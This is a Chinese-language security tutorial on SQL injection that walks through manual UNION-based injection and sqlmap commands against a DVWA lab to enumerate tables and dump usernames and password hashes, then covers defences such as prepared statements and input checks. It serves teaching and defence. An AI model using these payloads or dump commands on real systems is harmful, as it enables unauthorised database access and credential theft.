网络安全攻防:Web安全之SQL注入

安全 应用安全
本文介绍SQL注入攻击如何利用语言的漏洞来获取数据库中的数据。

[[398140]]

几乎所有 Web 应用程序都依赖数据库来管理在应用程序中处理的数据。在许多情况下,这些数据负责处理核心应用程序逻辑,保存用户账户、权限、应用程序配置设置等。大多数数据库都保存有结构化、可以使用预先定义的查询格式或语言访问的数据,并包含内部逻辑来管理这些数据。本文介绍SQL注入攻击如何利用语言的漏洞来获取数据库中的数据。

1. 原理

首先,SQL语言是一门解释型语言。所谓的解释型语言就是一种在运行时由一个运行时组件(runtime component)解释语言代码并执行其中指令的语言。与之相对的还有编译型语言,它的代码在生成时转换成机器指令,然后在运行时直接由使用该语言的计算机处理器执行这些指令。

从理论上讲,任何语言都可以使用编译器或解释器来执行,这种区别并不是语言本身的内在特性。但大多数语言仅通过上述一种方法来执行,SQL语言就是这样。

基于解释型语言的执行方式,会产生一系列叫作代码注入的漏洞,SQL注入就是其中的一种。在任何实际用途的Web应用程序都会有用户交互环节,会收到用户提交的数据,对其进行处理并执行相应的操作。因此,解释器处理的数据其实是由程序员编写的SQL语句代码和用户提交的数据共同组成的。在这个时候,攻击者可以提交专门设计过的 SQL 语句,向Web应用程序攻击。结果,解释器就会将这其中一部分的输入解释成程序指令执行,就像一开始程序员编写的代码一样。因此,SQL注入漏洞就随之形成了。

除了语言本身的原因,SQL注入产生的另一个原因就是未过滤问题。在编写Web应用时,由于其自主访问控制的性质,程序员往往会对用户输入的信息进行一定程度上的过滤操作,过滤掉一些危险的字符,如or、单引号、注释符等。但往往有些经验不足的程序员会忽视这一问题,只是进行简单的过滤,从而让攻击者有机可乘。

SQL注入漏洞存在时间非常久,在Web应用高速发展的今天,已经很难见到SQL注入漏洞了。但是学习的目的在于了解其根本以及如何防范这种漏洞的产生。

2. 注入分类

接下来了解一下具体的SQL实施与分类。

在实战中,主要会接触到3个不同类型的注入点,它们分别是数字型、字符型和搜索型。在编写实际的Web应用程序时,程序员会根据不同的数据类型,编写不同的查询代码如下。 

  1. “?”表示需要输入的数据。  
  2. 数字型:SELECT * FROM user WHERE id=?  
  3. 字符型:SELECT * FROM user WHERE username=‘?’  
  4. 搜索型:SELECT * FROM user WHERE username=‘% ? %’ 

每个类型在输入数据的时候,对数据做了一定的规范,因此,才产生了这样的划分,我们会在接下来的实例介绍中重点去区分数字型与字符型。要提前申明一点,虽然这里将注入点划分了一定的类型,但是注入的步骤与原理都是一致的,因此,这种区分只是从数据角度去划分的。

接下来将对SQL注入执行的步骤进行实例分析,在整个分析过程中,我们会将数字型与字符型细分开来,并且会先对手工SQL注入进行剖析,然后再教大家去使用工具。对于从事安全的人员来说,工具只是实现渗透的一种手段,不能过多依赖于工具的操作。工具也是安全人员为了简化步骤而编写出来的。对于刚刚接触安全的人来说,工具会更方便,了解原理才能真正掌握了这个漏洞。

在DVWA中的SQL Injection,在其中输入框中输入1,然后提交,如图1所示。

图1  ID:1

这里要先对注入点的类型进行判断,按照一般的步骤,输入数字时会先考虑这是一个数字型的注入点,所以会先按照数字型的方式操作注入点。

在其中输入1 and 1=1,如图2所示。

图2  1D:1 and 1=1

在图2中,我们可以看到ID的数据变成了 1 and 1=1,很明显,这里的ID是一个字符型。所以对注入点类型的判断是字符型。

接下来判断该注入点是否有效。因为在实际操作中,某些应用程序虽然允许此类输入操作的发生,但是它会在内部逻辑中过滤掉该部分。可以通过一个经典的操作来判断注入点是否有效。

在其中输入1’and‘1’=’1时,如图3所示。

图3  ID:1’and‘1’=’1

之后再输入 1’and‘1’=’2,如图4所示。

图4  ID:1’and‘1’=’2

这里会出现两种不同的结果,而这两种结果证明这个注入点是有效的。and 1=1 是一个永真命题,and后面的条件永远成立,而and 1=2正好相反,1=2是一个永假命题,and后面的条件不成立。对于Web应用来说,在条件不成立的情况下也不会将结果返回给用户,所以在图4中看不到数据。

前面的操作是SQL注入点判断的基本操作。后续对于不同的数据库有不同的操作。数据库大致可以分成Access数据库、MySQL数据库、SQLServer数据库、Oracle数据库等。Access数据库是比较早期应用于Web应用的数据库。早期的Web应用主要以显示大量文本数据的静态网页组成。但是,近几年Access数据库的使用逐渐减小,因为它不能适应大量用户的访问,并且安全性没有其他数据库高。而现在使用较多的是MySQL数据库。SQL Server和Oracle在大型公司比较适用。

MySQL 数据库允许使用联合查询的方式,这样查询更加便捷。接下来,我们继续刚才的操作,判断完注入点之后,需要判断该数据表存在的列数,输入1’order by 1#,如图5所示。

图5  ID:1’order by 1#

order by是根据列值查找的命令,#起到的作用是注释,防止后续语句的干扰。可以继续尝试输入: 

  1. 1’order by 6 # 

运行结果,如图6所示。

图6  列值查找

它会显示错误,找不到列值为6的列。这是因为该表中不存在6列,按照这个步骤,可以从1开始,逐步往上增加,直到出现一个数报错为止,这样,就可以知道该表中具体有多少列,当然,DVWA经过测试可以知道一共有2列。

知道列数之后,我们要看 MySQL 数据库的版本,因为 MySQL5.0 以后的版本具有information_schema数据库,里面存有所有数据库的数据表名和列名,如图7所示。

图7  information_schema数据库

利用这个数据库来进行数据的检索,所以在此之前需要查看该应用使用的MySQL数据库版本,输入: 

  1. 1’union select version(),2 # 

提交结果,如图8所示。

图8  查看版本

可以看到数据库的版本是 5.0.51a-3ubuntu5,知道了版本之后,就可以使用information_shchema来完成后续的操作。输入: 

  1. 1' union select table_name,2 from information_schema.tables where table_schema=database()# 

提交结果,如图9所示。

图9  查看表名

可以看到,图中显示出来两个表名。然后再来理解上面输入的语句,information_schema数据库中含有 tables 这个数据表,条件是表数据库名与 database()相同,而 database()正是当前查询的数据库。

然后查询列名,输入: 

  1. 1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' # 

运行结果,如图10所示。

图10  查看列名

一共可以看到6个列名,输入语句其实与上面那句类似,就是找到这个数据表中的列名。有了这些数据,就可以列出想要的数据了,输入: 

  1. 1' union select user,password from users# 

运行结果,如图11所示。

图11  列出数据

这里的密码是使用MD5加密的,可以利用工具在线解密。

3. SQL注入工具

SQL注入工具有很多,比较好用的有Pangolin和SQLMap工具。这两个工具对于初学者来说,上手难度不大。

Pangolin 是一款帮助渗透测试人员进行 SQL 注入(SQL Injeciton)测试的安全工具。Pangolin与JSky(Web应用安全漏洞扫描器、Web应用安全评估工具)都是NOSEC公司的产品。Pangolin具备友好的图形界面并支持测试几乎所有数据库(Access、MsSQL、MySQL、Oracle、Informix、DB2、Sybase、PostgreSQL、SQLite)。Pangolin能够通过一系列非常简单的操作,达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统,都给出了测试步骤。Pangolin是目前国内使用率最高的SQL注入测试的安全软件。

SQLMap 是一个自动SQL注入工具,其可执行一个广泛的数据库,管理系统后端指纹,检索DBMS数据库、usernames、表格、列,并列举整个DBMS信息。SQLMap提供转储数据库表以及MySQL、PostgreSQL、SQL Server服务器下载或上传任何文件并执行任意代码的能力。

在Windows命令行中输入: 

  1. >sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-b--current-db 

运行结果,如图12所示。

图12  获取数据库名

这里可以看到数据库的名称“dvwa”,之后输入: 

  1. sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-D dvwa –tables 

运行结果,如图13所示。

图13  获取数据库表名

可以看到该数据库中有两个表,之后输入: 

  1. sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-D dvwa-T users –column 

运行结果,如图14所示。

图14  获取数据库列名

可以看到一共有6个列名,之后就dump数据就可以了。输入: 

  1. sqlmap.py-u"http://192.168.221.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie="security=low;PHPSESSID=66a9820184bd663d1f6c757704c8b435"-D dvwa-T users-C user,password –dump 

运行结果,如图15所示。

图15  SQLMap运行结果

SQLMap自带字典可以来破译比较弱的密码。从操作上看,SQLMap是一款功能比较强大的自动注入工具,但是在安全级别较高的应用中,SQLMap的使用还是很有限的。

4. 预防SQL注入

对于服务器层面的防范,应该保证生产环境的Webshell是关闭错误信息的。例如,PHP生产环境的配置php.ini中的display_error是off,这样就可以关闭服务器的错误提示。另外可以从编码方面去预防SQL注入。

使用预编译语句,是防御SQL注入的最佳方式,就是使用预编译语句绑定变量。例如,JSP中使用的预编译的SQL语句: 

  1. String sql=“SELECT * FROM users where username=?”;  
  2. PreparedStatement pstmt=connection.prepareStatement();  
  3. pstmt.setString(1,admin); 

从上述代码可以看到“?”处与后面输入的变量相互绑定,之后攻击者如果再使用and 1=1之类的注入语句,应用程序会将整个部分当作是username来检索数据库,并不会造成修改语义的问题。对于有些无法使用预编译的部分程序,还有其他方法可以预防。

检查变量类型和格式也是一个不错的方法。如果要求用户输入的数据是整型的,那么就可以在查询数据库之前检查一下获取到的变量是否为整型,如果不为整型就重新校正。还有一些特殊的格式类型,如日期、时间、邮箱等格式。总地来说,只要有固定格式的变量,在SQL语句执行前,应该严格按照格式去检查,可以最大程度上预防SQL注入攻击。

还有一种方法就是过滤掉特殊的符号。在SQL注入时,往往需要一些特殊的符号帮助我们编写语句,如单引号(’)、井号(#)、双引号(”)等。可以将这些符号都进行转义处理或使用正则表达式过滤掉。

除了编码层面的预防,还需要做到数据库层面的权限管理,尽量减少在数据库中使用Root权限直接查询的次数。如果有多个应用程序使用同一个数据库,那么数据库应该分配好每个应用程序的权限。 

 

责任编辑:庞桂玉 来源: 计算机与网络安全
相关推荐

2021-05-07 14:12:50

网络安全Web安全CSRF

2021-04-30 19:38:42

网络安全WebHTTP

2021-05-13 20:38:30

2021-04-27 10:00:27

网络安全WebURL

2021-06-16 09:40:44

网络安全物联网代码

2021-04-25 21:45:25

网络安全网络安全攻防ZigBee安全

2021-04-23 13:35:41

网络安全蓝牙Wi-Fi

2021-03-15 13:50:24

网络安全Android安全机制

2021-03-22 10:52:58

网络安全Android数据安全

2021-04-01 10:40:22

网络安全软件

2021-04-15 11:55:40

网络安全无线网络WPA

2021-04-13 11:30:09

网络安全无线网络WEP

2021-04-06 10:30:49

网络安全暗网互联网

2021-02-02 14:02:48

网络安全对称密码密钥

2021-02-23 09:12:46

网络安全系统安全OpenSS

2019-01-10 15:44:00

2021-05-24 11:40:50

网络安全数据库安全服务器

2021-03-02 14:02:19

网络安全系统安全iptables

2021-02-22 08:35:41

网络安全Linux系统安全

2021-03-24 09:46:46

网络安全软件反汇编
点赞
收藏

51CTO技术栈公众号